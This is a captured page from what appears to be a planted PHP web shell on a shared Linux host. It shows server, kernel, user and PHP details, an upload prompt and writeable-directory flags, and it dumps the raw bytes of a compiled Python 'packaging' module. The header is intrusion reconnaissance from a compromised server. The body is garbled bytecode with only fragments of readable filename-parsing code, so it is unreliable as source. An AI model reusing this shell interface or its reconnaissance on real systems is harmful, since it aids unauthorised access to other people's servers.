https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/packaging/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/packaging/__pycache__/utils.cpython-310.pyc
o

S;�`h�	@sddlZddlmZmZmZmZmZddlmZm	Z	ddl
mZmZeedee
effZede�ZGdd	�d	e�ZGd
d�de�Ze�d�Ze�d
�Zdedefdd�Zdeeefdefdd�Zdedeeeeeeffdd�Zdedeeeffdd�ZdS)�N)�	FrozenSet�NewType�Tuple�Union�cast�)�Tag�	parse_tag)�InvalidVersion�Version��NormalizedNamec@�eZdZdZdS)�InvalidWheelFilenamezM
    An invalid wheel filename was found, users should refer to PEP 427.
    N��__name__�
__module__�__qualname__�__doc__rrr�1/usr/lib/python3/dist-packages/packaging/utils.pyr�rc@r)�InvalidSdistFilenamez^
    An invalid sdist filename was found, users should refer to the packaging user guide.
    Nrrrrrrrrz[-_.]+z	(\d+)(.*)�name�returncCst�d|���}tt|�S)N�-)�_canonicalize_regex�sub�lowerrr
)r�valuerrr�canonicalize_name s
r�versionc
Cs�t|t�rzt|�}Wn
ty|YSw|}g}|jdkr)|�|j�d��|�t�ddd�dd�|j	D����|j
durO|�d�d	d�|j
D���|jdur]|�d
|j���|jdurk|�d|j���|j
dury|�d|j
���d�|�S)
z�
    This is very similar to Version.__str__, but has one subtle difference
    with the way it handles the release segment.
    r�!z(\.0)+$��.cs��|]}t|�VqdS�N��str��.0�xrrr�	<genexpr><��z'canonicalize_version.<locals>.<genexpr>Ncsr$r%r&r(rrrr+@r,z.postz.dev�+)�
isinstancer'rr
�epoch�append�rer�join�release�pre�post�dev�local)r �parsed�partsrrr�canonicalize_version&s(
�
&




r:�filenamec
Cs|�d�std|����|dd�}|�d�}|dvr"td|����|�d|d�}|d}d	|vs<t�d
|tj�durCtd|����t|�}t|d�}|d
kry|d}t	�|�}|duritd|�d|�d���t
tt|�
d��|�
d�f�}nd}t|d�}	||||	fS)Nz.whlz3Invalid wheel filename (extension must be '.whl'): ���r)��z0Invalid wheel filename (wrong number of parts): �r�__z^[\w\d._]*$zInvalid project name: rr>zInvalid build number: z in '�'r���)�endswithr�count�splitr1�match�UNICODErr�_build_tag_regexr�BuildTag�int�groupr	)
r;�dashesr9�	name_partrr �
build_part�build_match�build�tagsrrr�parse_wheel_filenameQs6
�
�
� rRcCs�|�d�r|dtd��}n|�d�r|dtd��}ntd|����|�d�\}}}|s6td|����t|�}t|�}||fS)Nz.tar.gzz.zipz@Invalid sdist filename (extension must be '.tar.gz' or '.zip'): rzInvalid sdist filename: )rC�lenr�
rpartitionrr)r;�	file_stemrM�sep�version_partrr rrr�parse_sdist_filenameus

��rX)r1�typingrrrrrrQrr	r r
rrJr'rIr
�
ValueErrorrr�compilerrHrr:rRrXrrrr�<module>s$


+�
�$

https://t.me/RX1948 - 2025